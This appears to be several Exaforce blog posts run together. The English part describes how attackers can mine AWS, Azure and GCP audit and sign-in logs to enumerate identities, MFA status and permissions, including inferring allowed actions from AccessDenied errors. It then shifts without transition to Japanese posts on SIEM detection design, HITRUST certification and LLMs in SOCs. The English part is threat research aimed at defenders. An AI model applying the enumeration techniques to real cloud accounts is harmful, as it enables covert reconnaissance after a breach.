   billingAccounts/BILLING_ACCOUNT_ID/logs/cloudaudit.googleapis.com%2Factivity
   billingAccounts/BILLING_ACCOUNT_ID/logs/cloudaudit.googleapis.com%2Fdata_access
   billingAccounts/BILLING_ACCOUNT_ID/logs/cloudaudit.googleapis.com%2Fsystem_event
   billingAccounts/BILLING_ACCOUNT_ID/logs/cloudaudit.googleapis.com%2Fpolicy

   organizations/ORGANIZATION_ID/logs/cloudaudit.googleapis.com%2Factivity
   organizations/ORGANIZATION_ID/logs/cloudaudit.googleapis.com%2Fdata_access
   organizations/ORGANIZATION_ID/logs/cloudaudit.googleapis.com%2Fsystem_event
   organizations/ORGANIZATION_ID/logs/cloudaudit.googleapis.com%2Fpolicy

GCP platform logs

Platform logs in Google Cloud Platform capture the operational and performance data generated by the infrastructure and services that run user workloads. Unlike audit logs, which focus on administrative or access actions, platform logs provide visibility into how the system behaves, including network traffic, compute activity, and application performance. Examples include VPC Flow Logs for network flows, Firewall Logs for rule enforcement, Load Balancer Logs for request and latency details, and Cloud NAT Logs for connection tracking. These logs are invaluable for performance tuning, troubleshooting, and detecting anomalies such as unusual traffic spikes or failed connections. By exporting platform logs to Cloud Logging, BigQuery, or SIEMs, organizations can correlate operational data with security and application insights for full-stack observability.

Enumerating cloud permissions using logs

There are many fields containing information about the event executed, the identity executing the event, and the resources being targeted.

• The type, ID, and name of the identity executing the API Call
• The source IP and User Agent of the client executing the API Call
• The resources targeted by this execution
• The input parameters and output values
• Whether the event is allowed or denied

Enumerating resources using audit logs

Each cloud provider audit logs services have a retention period and a way to retrieve those events. Based on the type of log and the cloud provider, it can go from 30 days for GCP events, which can be configured up to 10 years, to 90 days for AWS and Azure, which can be later stored somewhere else, such as cloud storage (S3 Buckets and Azure Storage) or a log analytics service (CloudWatch or Log Analytics).

To list logs, specific permissions are needed:

• AWS: cloudtrail:LookupEvents, lists the retained events
• Azure Cloud Audit Logs:
  
  • Microsoft.OperationalInsights/workspaces/search/action: Executes a search query against a Log Analytics workspace to retrieve log data.
  • Microsoft.Insights/eventtypes/values/read: Reads Activity Log events for a subscription (audit trail of management operations).
  • Microsoft.Resources/subscriptions/providers/read: Lists or retrieves resource providers registered under a subscription.
• Entra ID Audit Logs: AuditLog.Read.All
• GCP: logging.logEntries.list: Lists GCP audit logs for a specific scope

On each audit log, there are some information that can be retrieved from the event:

• Information about the identity that executed the event: Each event will contain information about the identity executing an API call.
  
  • On AWS CloudTrail Logs, it’s the type and the ID of the identity (IAM user or role) (field CloudTrailEvent.userIdentity.principalId), as well as the ARN of the identity executing the permission (field CloudTrailEvent.userIdentity.arn)
  • On Azure Activity Logs, Each event will contain a caller field, which contains the name of the identity executing the call. Then, inside the claims field, we can see the full name (claims.name) and source IP (claims.ipaddr) of the identity. Another field on claims, is http://schemas.microsoft.com/claims/authnmethodsreferences, which lists the authentication methods of the identity executing a call.
  • On GCP Audit Logs, the field authenticationInfo will contain the information about the identity requesting the call.
• Resources being targeted by the execution: Each event affecting a resource (create, update, list, retrieval), will contain a list of those resources on the Resources field. If a resource is not affected, the field will still be present, but empty.
  
  • In AWS, the field is called Resource and it contains the resource name and type for each affected resources

[
      {
          "ResourceType": "AWS::IAM::User",
          "ResourceName": "bleonUser"
      },
      {
          "ResourceType": "AWS::IAM::User",
          "ResourceName": "AIDA***************"
      },
      {
          "ResourceType": "AWS::IAM::User",
          "ResourceName": "arn:aws:iam::012345678901:user/bleonUser"
      }
  ]

• In Azure, the event will contain the resource group field (resourceGroupName), resource type (resourceType) and resource id (resourceId)

"resourceGroupName": "test-resource-group-name",
"resourceProviderName": {
    "value": "Microsoft.Resources",
    "localizedValue": "Microsoft Resources"
},
"resourceType": {
    "value": "Microsoft.Resources/subscriptions/resourceGroups",
    "localizedValue": "Microsoft.Resources/subscriptions/resourceGroups"
},
"resourceId": "/subscriptions/abcd1234-1234-4567-90ab-abcdef123456/resourceGroups/test-resource-group-name",

• GCP also has a field called resource, where information on the affected resources is stored:

"resource": {
  "labels": {
    "email_id": "bsidesnyc-test-account@my-project-12345-123456.iam.gserviceaccount.com",
    "project_id": "my-project-12345-123456",
    "unique_id": "108093650973646504873"
  },
  "type": "service_account"
},

• Another place to look for resources, are the input parameters required by the API call and the output information retrieved by a successful execution. These fields do not only contain resources, but also other custom information like policy documents, or tags.
  
  • AWS contains this information inside requestParameters and responseElements:

"requestParameters": {
  "userName": "bleonUser"
},
"responseElements": {
  "user": {
    "path": "/",
    "userName": "bleonUser",
    "userId": "AIDA***************",
    "arn": "arn:aws:iam::012345678901:user/bleonUser",
    "createDate": "Aug 5, 2025, 8:02:49 PM"
  }
},

• In Azure, depending on the execution, an event will have a request body (requestBody), with the request parameters inside, a response body (responseBody), with the output values, both or neither.

"requestBody": "{\"id\":\"/subscriptions/abcd1234-1234-4567-90ab-abcdef123456/resourceGroups/test-resource-group-name\",\"name\":\"test-resource-group-name\",\"type\":\"Microsoft.Resources/resourceGroups\",\"location\":\"centralus\",\"tags\":{\"SomeKey\":\"SomeValue\"}",

"responseBody": "{\"id\":\"/subscriptions/abcd1234-1234-4567-90ab-abcdef123456/resourceGroups/test-resource-group-name\",\"name\":\"test-resource-group-name\",\"type\":\"Microsoft.Resources/resourceGroups\",\"location\":\"centralus\",\"tags\":{\"SomeKey\":\"SomeValue\"},\"properties\":{\"provisioningState\":\"Succeeded\"}}",

• In GCP, this information is stored on request and response fields

"request": {
  "@type": "type.googleapis.com/google.iam.admin.v1.CreateServiceAccountRequest",
  "account_id": "bsidesnyc-test-account",
  "name": "projects/my-project-12345-123456",
  "service_account": {}
},

"response": {
  "@type": "type.googleapis.com/google.iam.admin.v1.ServiceAccount",
  "email": "bsidesnyc-test-account@my-project-12345-123456.iam.gserviceaccount.com",
  "etag": "MDEwMjE5MjA=",
  "name": "projects/my-project-12345-123456/serviceAccounts/bsidesnyc-test-account@my-project-12345-123456.iam.gserviceaccount.com",
  "oauth2_client_id": "108093650973646504873",
  "project_id": "my-project-12345-123456",
  "unique_id": "108093650973646504873"
},

• Source IP and by extension geolocation of the identity executing the API call, through the source IP field: "sourceIPAddress": "1.2.3.4"
• The Operating System, the context, or the tool being used to achieve a specific task, through the User Agent: "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0

Enumerating identity permissions by checking permission addition

Each cloud provider can be accessed using the API. In order for an identity to be able to execute a task, it needs to have access to that task. Access to a service, resource, or just a simple API call is given through Roles (on Azure and GCP) and Policies (on AWS).

When a privilege is added to an identity, an event is triggered. These events are usually considered to be high priority, administrative events, so every cloud provider will log them.

Aside from the API privilege addition, some resources will also contain access policies. These policies will allow or deny access to a resource of a service from an identity, even though they might have access to execute tasks on the other resources of that service.

Enumerating identity permissions by iterating security logs

Permissions the identity will have on an API Call. Each API call will have 2 fields called errorCode and errorMessage. errorCode will give a reason why the execution failed, while the errorMessage will give a description of the error. In case an API call is not allowed to be executed, the field errorCode will have a value of AccessDenied.

"errorCode": "AccessDenied",
"errorMessage": "User: arn:aws:iam::012345678912:user/attacker is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::012345678912:user/someuser with an explicit deny in a service control policy"

If the errorCode value is not AccessDenied, there is a high chance the permission is allowed. And since CloudTrail logs, when retrieved from both Event History and then S3 Bucket are ordered in a descending order, from newest to oldest, we can iterate through them and see the newest error on each of the events.

• If the errorCode value is AccessDenied, and the event has not been allowed before, it means the event is denied.
• If the errorCode value is AccessDenied, and the event has been allowed before, it means the permission is allowed.
• If the errorCode value is not AccessDenied, and the event has not been denied before, it means the permission is allowed.

Knowing this principle, we can enumerate any identity on the Account, just by using one API call cloudtrail:LookupEvents.

Drawbacks to enumerating permissions using AWS CloudTrail logs

The drawback to using this enumeration technique lies in the time between a permission being allowed or denied and the time it takes to execute. The problem occurs when a permission has been added or revoked after the event has been generated. This happens a lot, especially with temporary privileges, where an identity is allowed access to a specific privilege only for a specific timeframe. The attacker will retrieve the events, thinking the target identity has access to execute a task, when, in fact, they do not have access.

Enumerating identities using sign in logs

Each time a user logs into a cloud environment, a sign-in event is triggered. The log will contain information about the user that logs in.

• Identity logging in
• Source IP
• Authentication mechanism (if they are using SSO, federation, MFA)
• Some might contain User Agents

An attacker with access to read signin logs on a cloud provider can get:

• A list of identity names and authentication mechanisms they are using (including MFA)
• A list of identities that are enabled or not
• A list of reasons why the signin failed
• A list of potential locations from where the identity originates
• A list of IPs that the identity uses.

AWS sign in event

AWS offers different ways to access the Management Console:

• An AWS User Login Profile. Users with a Login Profile can login to the Management Console and get GUI access on the account through it.
• IAM User Federation credentials creating a signin URL (as explained here)
• Login through the AWS Identity Center, where a user will login using credentials or through an IDP and a role will be associated with them, which will allow management access on the Management Console.

When a user is logged into the AWS Management Console, the event triggering will be signin:ConsoleLogin. The event will contain the identity logging in, information about the source IP, User Agent, AWS Account.

• Logging in as an IAM User through the Login Profile, the identity executing the call, will contain the ARN of an IAM User (userIdentity.arn field has format a of arn:aws:iam::012345678912:user/loginUser).
• The User Agent will be a browser (Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0), as the login will be done through one
• On the additionalEventData field, we will also see the console login URL that was used to login, as well as information about MFA usage.

"additionalEventData": {
  "LoginTo": "https://console.aws.amazon.com/console/home?hashArgs=%23&isauthcode=true&state=hashArgsFromTB_us-east-2_addce6de859630d0",
  "MobileVersion": "No",
  "MFAUsed": "No"
},

If a user is logged in through a federated credential, the ARN of the user will contain a format of arn:aws:sts::012345678912:federated-user/loginUserSessionName. The source of the event will be STS, as the credentials will have been retrieved from sts:GetFederationToken.

Also, additionalEventData will not contain any LoginTo field, as the identity does not necessarily need to have a Login Profile to access the Management Console.

"additionalEventData": {
  "MobileVersion": "No",
  "MFAUsed": "No"
},

Lastly. when an identity logs in through the Identity Center, the identity executing the login will be a role, with a session name that is the same as the mail name of the user logging in (arn:aws:sts::0123456789012:assumed-role/AWSReservedSSO_AdministratorAccess_abcdef1234567890/someuser). On Identity Center, each user has access to only one role (unless configured differently), and the session name will be the session name of the user logging in. The most common format of the role name is AWSReservedSSO_AdministratorAccess_abcdef1234567890, though it can be configured to be anything when Identity Center is created.

Entra ID sign in logs

For Azure, the authentication is done through Entra ID. When trying to log in, each event will contain a status and the Sign-In logs in it will have a status field, where the error code (status.errorCode) and the reason for success or failure (status.additionalDetails) will be stored. The status reason will contain a description of the reason the signin was accepted or not. Some of the reasons might be:

• Expected - auth codes, refresh tokens, and sessions expire over time or are revoked by the user or an admin. The app will request a new login from the user.
• Have the user retry the sign-in and consent to the app.
• Invite the user to the tenant, or ignore this error if the user isn't supposed to be a member of the tenant. This can be the case when someone is sent to a login URL for your tenant without being a member, or picks the wrong user account.
• MFA completed in Azure AD
• MFA requirement satisfied by claim in the token
• No action required, this is expected as part of determining device identities due to application or conditional access requirements.
• The user didn't complete the MFA prompt. They may have decided not to authenticate, timed out while doing other work, or has an issue with their authentication setup.
• The user didn't enter the right credentials. It's expected to see some number of these errors in your logs due to users making mistakes.
• The user was presented options to provide contact options so that they can do MFA.
• This is an expected part of the login flow, where a user is asked if they want to remain signed into this browser to make further logins easier.
• User authentication was blocked because they need to provide password reset information.
• Their next interactive sign in will ask them for this, which the app should trigger next.
• User needs to perform multi-factor authentication. There could be multiple things requiring multi-factor, e.g. Conditional Access policies, per-user enforcement, requested by client, among others.

One other information that is stored on the event, is the location information. Azure will calculate the location based on the IP and ASN from where the request came and give that information.

"location": {
  "city": "Some City",
  "countryOrRegion": "US",
  "geoCoordinates": {
    "altitude": null,
    "latitude": 12.3456,
    "longitude": 65.4321
  },
  "state": "State"
},

Google sign in logs

Google logs the signin events for its users on the organization’s Data Access logs ("logName": "organizations/123456789012/logs/cloudaudit.googleapis.com%2Fdata_access”) under the type AuditLog ("protoPayload.@type”: "type.googleapis.com/google.cloud.audit.AuditLog") and "serviceName": "login.googleapis.com”.

Google allows filtering of logs by success or failure using the protoPayload.methodName field

• google.login.LoginService.loginSuccess
• google.login.LoginService.loginFailure

Failure reasons:

"event": [
  {
    "eventName": "login_failure",
    "eventType": "login",
    "eventId": "3484ada0",
    "parameter": [
      {
        "label": "LABEL_OPTIONAL",
        "value": "reauth",
        "type": "TYPE_STRING",
        "name": "login_type"
      },
      {
        "multiStrValue": [
          "none"
        ],
        "type": "TYPE_STRING",
        "label": "LABEL_REPEATED",
        "name": "login_challenge_method"
      },
      {
        "name": "dusi",
        "value": "INjZurSThIbFLg",
        "type": "TYPE_STRING",
        "label": "LABEL_OPTIONAL"
      }
    ]
  }
]

The other side of visibility

Logs remain essential to security operations. There is no debate about their value in detection, response, and forensic investigation. But as we've explored throughout this research, every capability that makes logs powerful for defenders also makes them valuable for attackers. The same granularity that enables precise incident reconstruction also enables reconnaissance. The same accessibility that supports rapid threat hunting also supports covert enumeration. The uncomfortable truth is that logs are a shared resource in adversarial space. Once an attacker gains initial access with sufficient permissions to read logs, they inherit a ready-made intelligence platform built and maintained by the organization itself. CloudTrail, Azure Monitor, Cloud Logging weren't designed assuming the reader might be hostile, but in breach scenarios, that assumption fails catastrophically.

Logs tell the story of our systems. But stories can be read, misread, or exploited by anyone with access. The techniques demonstrated here, are not just theoretical curiosities, but rather they are practical, effective, and increasingly understood by sophisticated threat actors. Visibility is a double-edged sword, and the defender's best friend can become the attacker's silent partner unless we start treating log access with the gravity it deserves.

So, what is the solution? Should we not log at all, so we can blind the attackers, at the tradeoff of blinding defenders as well? Of course not. But some limits should be set. The best advice against this type of attack, while easier said than done, is to apply least privilege. Log retrieval is a task that gets executed by many identities, both programmatically or not, which makes it harder to limit. Logs contain data. The data logs contain identity information, user agent, IP related, input and output parameters, etc. This data is valuable to defenders and threat hunters, but it is also important for an attacker.

This means applying least-privilege rigorously to log access, treating read permissions as seriously as write permissions. It means segmenting log storage so compromise of one environment doesn't expose telemetry from others. It means monitoring log queries themselves, creating detection rules for anomalous access patterns, and regularly auditing who can read logs and why. Every service account with logging permissions, every identity with CloudTrail access, every role with logging.viewer, should be justified and reviewed, not granted by default.

検出エンジニアリングは常にSOCの心臓部でしたが、プレッシャーにさらされてますます苦労しています。セキュリティチームは大量のアラートに直面していますが、そのほとんどは誤検知です。一方、適度な検出を維持するだけでも調整と維持の無限のサイクルになっています。複雑な異常アラートや行動アラートは、作成や検証が非常に難しいことで知られており、環境が変化するとルールを再設計しなければならず、検知エンジニアは対象範囲を拡大したり新しいデータソースを統合したりするよりも、メンテナンスの作業に追われてしまいます。同時に、現代の企業は IaaS、SaaS、IdP などにまたがり、従来のルールベースのロジックでは対応しきれない、相互接続された広大なアタックサーフェスに広がっています。

多くのチームでは、ノイズが多すぎるか、作成/調整する専門家がいないか、アナリストに圧倒されるようなノイズの多いアラートが原因で、検出を無効にすることになり、どちらも重大な結果をもたらします。

今日のノイズの多いSoCは、検出ロジックがどのように進化してきたか、ある意味では進化していないかの産物です。その理由を理解するために、SIEM検出自体の基礎を再検討してみましょう。

SIEM 検出の簡単な歴史

検出ルールは、常にセキュリティ情報およびイベント管理 (SIEM) ツールの基盤となっています。実際、セキュリティ検出ツールは、ガートナーが 2005 年に SIEM という用語を導入する前から存在していました。最新の検出技術のルーツは以下までさかのぼります。 DARPAおよびSRIが資金提供するエキスパートシステム IDES、NIDES、EMERALDなどは、侵入検知のための推論ベースのアプローチを開拓した1980年代と1990年代のものです。これらのシステムは、事実のワーキングメモリを維持し、フォワードチェーンおよびバックワードチェインロジックを使用してユーザーの行動と異常発生の可能性を推論する推論エンジンを適用し、証拠が蓄積されるにつれて信頼レベルを動的に調整しました。2000 年代初頭に企業のデータ量が爆発的に増加すると、この象徴的な推論はよりスケーラブルでイベント駆動型のアプローチ、つまり相関エンジンへと発展しました。初期のSIEMは、専門家による推論の論理を、システム状態に関する新しい仮説を導き出すのではなく、大量のログストリームにわたって既知の悪意のある関係を検出して脅威を検出することで、スループットに最適化された決定論的でパターンマッチングのルールに変換しました。

その後20年間にわたって、標準的なルールベースのアプローチは強力ではありましたが、不十分であることが判明しました。長期間にわたるパターンを認識したり、外れ値を特定したりすることができなかったため、より統計的なアプローチの必要性が高まりました。2010 年代半ばにユーザーおよびエンティティ行動分析 (UBA/UEBA) が導入されたことで、統計的モデリングと機械学習が再導入され、SIEM は手作りのルールだけに頼るのではなく、ベースラインからの逸脱を見分けることができるようになりました。これは、決定論的相関関係から確率的・行動的検出への重要な転換点となりました。一方、セキュリティオーケストレーション、オートメーション、レスポンス（SOAR）およびエンドポイント/拡張検出およびレスポンス（EDR/XDR）ツールは、検出の運用範囲を広げ、より多くのテレメトリを接続し、ドメイン間で信号を正規化し、応答を合理化しましたが、コアロジックは主にパターンベースまたは動作ベースのままで、依然として受け入れがたい誤検知率と厳しいメンテナンス要件につながっていました。

検出に対するエクサフォースのアプローチ

Exaforceは、前述のエキスパートシステムからインスピレーションを得て、音量と忠実度のバランスをとるように設計された多層検出アーキテクチャを採用しています。

第1段階は、セマンティックデータモデルがログと構成データを取り込み、後で使用できるように処理することから始まります。次の段階は行動モデルです。これは、ユーザー、アカウント、ピアグループ、組織レベル、曜日/時間など、さまざまな行動の側面にわたるアクティビティを監視する、ベースライン主導型および異常値主導型の大量のアラートと、組み合わせてルールをトリガーするイベントの頻度、アクセス率、場所のパターンなどの指標で構成されます。行動モデルの出力はシグナルです。各信号は、常に調整および最適化された、疑いのある中程度の忠実度の指標です。

1 つのシグナルで複数のベースラインをカプセル化できます。たとえば、「これまで見たことのない ASN から接続しているユーザー」と「通常はクラウド ASN から接続しているが、現在はクラウド以外の ASN から接続している」といったベースラインは、どちらも ASN アノマリーシグナルの原因となる個別のベースラインです。

ほとんどのシグナルはアノマリーベースですが、禁止国からのアクセスや機密性の高いアクションの実行など、決定論的なルールから発信される場合もあります。

これらのルールと異常は、リソースまたはアクターに関する構成情報に基づいている場合もあります。たとえば、マシンユーザーと人間のユーザー、または管理者と非管理者ではベースラインが異なります。

その後、シグナルは、タイムウィンドウまたはセッション間で相互に関連づけることにより、検出結果に集約されます。集約された信号強度がしきい値を超えると、検出は検出パイプラインの次の段階に進み、そこで高次の推論とコンテキストの強化により、忠実で実用的な検出結果が得られます。

この段階では、Exaforceのナレッジモデルを使用して各検出を評価し、さまざまなコンテキスト要素を追加して検出とその信号を適切に評価します。ここで追加されるコンテキストには、次のようなものが含まれます。

• システム、リソース、ユーザーなどに関する構成情報
• ビジネスコンテキスト
• 同様の歴史的発見
• の一部である関連アラート アタックチェーン
• ユーザー、システム、およびリソースに関する過去のベースライン情報

この追加のコンテキストと併せて、ナレッジモデルは信号を評価し、 決定を下す これが誤検出の可能性があるかどうかについてです。ユーザーには真陽性だけが通知され、それがキューに追加され、誤検知はフォレンジック脅威ハンティング用に別のセクションに保存されます。

シグナルアプローチが従来のアプローチよりも優れている例

以下の例では、GitHubユーザーがエラー監視ダッシュボードとアラート用の13個の構成ファイルを削除しました。その結果、Exaforce 行動モデルによって次の 3 つのシグナルが生成されました。

1. センシティブアクション:エラー監視設定ファイルの削除によってトリガーされます。
2. 異常な ASN: このユーザーに新しい ASN が確認されました。
3. 運用上の異常:組織内のどのユーザーでも、ファイルの削除回数が異常に多いこと。

ASNとオペレーショナル・アノマリーのシグナルはベースラインの逸脱によって生成され、センシティブ・アクションのシグナルはより伝統的なルールから生成されました。3 つすべてが 1 つのユーザーセッション内で発生したため、1 つの検出にまとめられました。

その後のナレッジモデルフェーズでは、ユーザー、同僚、および履歴ベースラインに関する追加のコンテキストが適用されました。Exabotは、このユーザーがチェコ共和国でASN AS29208のIP 212.80.67.246から接続しているのが通常見られることを確認しました。この例では、ユーザーは新しい ASN から表示されましたが、組織内では一般的に使用されています。Exabot は、このコンテキストに基づいて、ASN シグナルは重要ではない可能性が高いが、ファイル削除のアクティビティは依然として目立つものであると結論付けました。その後、総合評価は、Exabotの推論を要約した説明と、補足となる構造化されたデータダッシュボードを含む調査結果へと昇格しました。

従来のSIEMでは、このシナリオでは少なくとも3つの個別の相関ルールと複数のベースラインが必要でした。各ベースラインを構築し、それに対応する相関ルールを構築することは、検出チームにとって重要な作業でした。各アラートは個別に発生し、アラートを集約するデフォルトのメカニズムはありませんでした。検出チームが既知の企業ASNをすべて先制的に除外していなければ、アナリストは新しい ASN が無害か疑わしいかを手動で調査する必要がありました。これは、脆弱でメンテナンスの手間がかかるアプローチです。これとは対照的に、Exaforceモデルでは、ASNのルールは幅広いままでかまいません。これは、後でコンテキストを充実させることで、良性の逸脱と真の脅威をインテリジェントに区別し、ノイズを発生させることなく可視性を維持できるためです。最後に、アラート構造とデータに精通したインテリジェントなアナリストが、調査結果とコンテキストを自然言語で要約したものを推測する必要がありました。

なぜこれが重要なのか

Exaforceのアプローチは、初期のSIEMおよび侵入検知システムの基本構造を基盤としながらも、それらを現代の行動モデルやエージェントモデルの規模、精度、適応性に合わせて最新化しています。大量の異常レベルにより、意味のあるすべての外れ値が確実に検出されます。ノイズの多いアラートは、ユーザーに届く前にナレッジ・モデルによってフィルタリングされるため、ここではペナルティはありません。したがって、ルールを高度に調整する必要はなく、価値あるシグナルを引き続き提供できます。今日の多くの SOC チームでは、分析チームが出力量を管理できる場合にのみ検出を有効にできます。その結果、忠実度の低いアラートの多くは無効になっているか、きめ細かく調整する必要があります。Exaforceの行動モデルはこのパラダイムを逆転させ、忠実度の低い表示はすべて有効にし、残りのプロセスステップで忠実度を評価してコンテキスト化できるようにしています。これにより、ルールを調整したり、無効にしたり、警告したりする必要がないため、分析レベルだけでなく、検出エンジニアリングの段階でも、SOCチームの負担が大幅に軽減されます。

従来のシステムでは、最も成熟したSOCチームでさえ、同様のアプローチを手作業で評価するには法外に費用がかかり、負担がかかるでしょう。Exaforce の多層アーキテクチャでは、正確でコンテキストを認識した結果のみがアナリストに届き、セキュリティを犠牲にすることなくノイズを大幅に削減できます。

従来のSIEMの中には多層的な検出を試みたものもありますが、脆弱で扱いにくくなることが多く、増え続けるベースラインとルールを管理するSOCの検出エンジニアリングチームに負担がかかっています。Exaforceモデルでは、この複雑さはExaforce独自のエキスパートシステムと継続的に管理されているナレッジモデルによって自動的に処理されます。チームは必要に応じて検出を追加したり変更したりできますが、デフォルトでは、チューニング、ベースライン作成、相関関係はExaforceによってインテリジェントに管理されます。

このようなマネージドシステム、大量かつ正確性の低いアラート、複数レベルの集約とコンテキストのアーキテクチャは、SOCにとってゲームを変える可能性があります。これにより、重要な検知エンジニアリングチームが解放され、新しい脅威を実際に調査したり、脅威ハンティングを支援したり、必要なときだけルールを調整したりできるようになります。

ExaforceがHITRUST e1認定を正式に取得したことを誇りに思います。これは、顧客データを保護し、最高水準のセキュリティ、プライバシー、および運用上の卓越性を維持するという当社の継続的な取り組みにおける重要なマイルストーンです。

この認定は、企業がクラウドで安全に運営できるようにしながら、完全性と透明性を備えたAI主導のSOC自動化を提供するという私たちの約束を裏付けるものです。

ハイトラストが重要な理由

HITRUST e1評価では、当社が19のドメインにわたって業界で認められているセキュリティとプライバシーの要件を満たし、維持していることを独自に検証しています。

これは、当社のエージェンティックSOCプラットフォーム内の統制が、HIPAA、ISO 27001、SOC 2 Type II、PCI DSS、GDPR、USDPなどのさまざまな規制の枠組みにわたって機密情報を保護するように設計および運用されていることを示しています。

HITRUST認証を取得することで、社内セキュリティプログラムの成熟度と、継続的な保証への取り組みが検証されます。当社はセキュリティ意識が最も高い業界で事業を展開しており、この認証は当社のガバナンス、リスク、コンプライアンス文化の深さを反映しています。

‍

コンプライアンスとセキュリティを日々組み込む方法

当社のクラウドネイティブアーキテクチャにより、すべてのお客様が専用の分離されたインフラストラクチャで運用できるようになり、データレベルのマルチテナントに関する懸念がなくなり、テナントの信頼が強化されます。

私たちは、使用するすべてのデータソースをAgentic SOCプラットフォームに提供し、Exabotsを機能させることで、自社のセキュリティ体制を継続的に監視、テスト、改善しています。

エージェント向けSOCプラットフォームへの電力供給

当社のAgentic SOCプラットフォームは、AI主導のExabotsを活用して、検出、トリアージ、調査、対応を自動化します。

社内では同じプラットフォームを使用してアラートの管理、イベントの強化、SLAの追跡を行っています。SOC自動化機能の進化に合わせて、独自のシャンパンを飲んでいます。

HITRUSTコントロールを強化するインテグレーション

HITRUST認証の取得と維持は、すべての統制が効果的に実施、監視、実証されていることを検証する継続的なプロセスです。そのためには、当社の緊密な統合エコシステムが重要な役割を果たします。

各統合は、アクセス制御、エンドポイント保護、インシデント管理、ロギングと監視、リスク管理などの主要なHITRUST e1制御ドメインを直接サポートすることで、ハイブリッド環境全体で証拠収集の自動化、統制執行の強化、継続的なコンプライアンスの維持に役立ちます。

当社のプラットフォームの統合により、セキュリティスタックのすべてのレイヤーが継続的なHITRUST保証に貢献することが保証されます。

例には以下が含まれます。

• クラウドと IaaS: Exaforceは、AWS（GuardDuty、CloudTrail）、Azure、Google Cloud SCCを使用して、監査可能なイベントログ、脅威検出、およびHITRUST要件にマップされた構成ベースラインを提供します。
• アイデンティティ: OktaとMicrosoft Entra IDにより、HITRUSTのアイデンティティとアクセス制御の目標に沿って、MFA、SSO、および最小権限アクセスを実施しています。
• EDR: CrowdStrike Falcon、Microsoft Defender、SentinelOne は、エンドポイント保護、デバイスコンプライアンス、および脆弱性コントロールドメインを強化します。
• シエム/ソア: Splunk、Microsoft Sentinel、Sumo Logicを使用すると、ログを一元的に集約して相関関係を築き、HITRUSTを継続的に監視できます。
• コラボレーションとインシデント: Slack、Microsoft Teams、PagerDuty、およびincident.ioは、タイムリーなインシデント対応とエスカレーションのワークフローをサポートしており、HITRUSTのコミュニケーションと対応の基準を満たしています。
• チケット発行とワークフロー: Jira と ServiceNow は、監査準備のための改善追跡と統制文書化を自動化します。

現在および今後予定されているインテグレーションをすべてご覧ください。 exaforce.com/Integrations

運用とセキュリティスタックのあらゆる部分をつなぐことで、当社のインテグレーションはコンプライアンスを静的な監査業務から生きた自動保証モデルへと変え、HITrust認定の統制がリアルタイムで有効かつ監視され、検証可能であることを保証します。

継続的なコンプライアンス、継続的な信頼

Exaforceのセキュリティは私たちの運営原則です。当社は以下のようなフレームワークを継続的に採用しています。

• SOC 2 タイプ II
• ISO 27001
• ヒパー
• ピクシードレス
• GDPR/USDP
• ハイトラスト e1

認定を受けるたびに、お客様が自社の監査や規制評価でコンプライアンスを実証する能力を強化できます。 もっと読む お客様の信頼を検証し強化するための道筋を示したロードマップについて、そして訪問 trust.exaforce.com 当社の認定について詳しくは、こちらをご覧ください。

これからの道

HITRUST e1の達成は、お客様とプラットフォームに最高レベルのセキュリティを提供するという当社の取り組みにおける新たな一歩です。今後も、より高いレベルの認証を目指す中で、自動化機能の拡大、統合の深化、コンプライアンス体制の進化を続けていきます。

私たちの使命は明確です。AIと自動化を通じて、セキュリティ業務をより速く、よりスマートに、より信頼性の高いものにすることです。

この記事は元々掲載されました ヘルプネットセキュリティ。

LLMとエージェントシステムは、会議の文字起こしや要約、アクションアイテムの抽出、重要なメールの優先順位付け、さらには旅行の計画など、日常の生産性向上にすでに力を入れています。しかし、SOC (ミスには大きな代償が伴う) では、今日のモデルが高精度を必要とする作業につまずきます。 大量のリアルタイムデータストリームにわたって一貫した実行が可能です。この信頼性のギャップを大規模に埋めるまでは、LLM だけでは大部分の SOC タスクを自動化することはできません。

人間が得意とすること 曖昧な問題をフレーミングしたり、リスクを意識した判断を下したり、ドメインの直感を適用したりします。特にシグナルが弱かったり、矛盾していたり、斬新だったりする場合は特にそうです。

機械が得意とすること 大量、高速、非構造化データを低い限界コストで処理します。疲れたり、忘れたり、ドリフトしたりすることがないため、脅威の検出を補完するのに理想的です。ただし、コンテキストの組み立て、仮説の生成、ビジネスリスクの判断に関しては、マシン (および LLM) が人間に完全に代わることはできないため、トリアージは人間のものにとどまっています。

私たちはまだSOC自動化の初期段階にあります。攻撃者が AI 主導の自動化を武器に利用するについていくには、マシンがほとんどの攻撃をマシンスピードで阻止できるという均衡状態に達する必要があります。そのバランスが取れていないと、防御側はすぐに遅れをとってしまいます。

SOC 内部の LLM を壊す原因は何か

マシンスピード防御に移行するには、プラットフォームが現在のLLMの限界を克服する必要があります。

1. 大規模なリアルタイム取り込み
   急速に蓄積されるデータ（ログ、EDR、電子メール、クラウドリソース、ID、コード、ファイルなど）を遅延や損失なしに継続的に処理します。

2. 大規模で耐久性のあるコンテキスト
   長期にわたって存続する膨大なナレッジ（資産インベントリ、ベースライン、ケース履歴）を保管・取得することで、時間の経過に伴うアクションやシーケンスを正しく解釈できます。

3. 低レイテンシー、低コストの実行
   受信データと同じ速度でフィルタリング、関連づけ、エンリッチメント、推論を実行でき、しかも非常に低コストで実行できるため、企業に合わせて拡張できます。

4. 決定論的論理
   大規模なデータセットについて一連の考え方をたどると、反復可能で、説明可能で、理解しやすい（気まぐれでなく、不透明でない）結果が得られます。

5. 推論の一貫性
   生成モデルのボラティリティではなく、2人の人間間の意見の相違のマージンに匹敵するスプレッドで、キャリブレーションされた反復可能なロジックを提供します。

解決方法:スタックの再考

進むべき道は「より多くのプロンプト」ではありません。こうした問題を解決し、LLM を SOC のユースケースに適させる新しいタイプのモデルです。

AI/MLで何か役に立つことをしたことがある人なら誰でも、モデルには高品質のデータが必要であることを知っています。質の高い脅威の検出と調査には、ログで得られるデータよりもはるかに多くのデータが必要となるため、ログ中心の SIEM から脱却する必要があります。ビジネスクリティカルなアプリケーション内の通常とは異なる場所から、ファイル権限の変更などの機密操作が行われたとします。イベントレコードだけでは十分ではありません。ファイルの種類、ラベル、変更を加えたユーザーの役割と権限、ファイルの作成者などを知る必要があります。

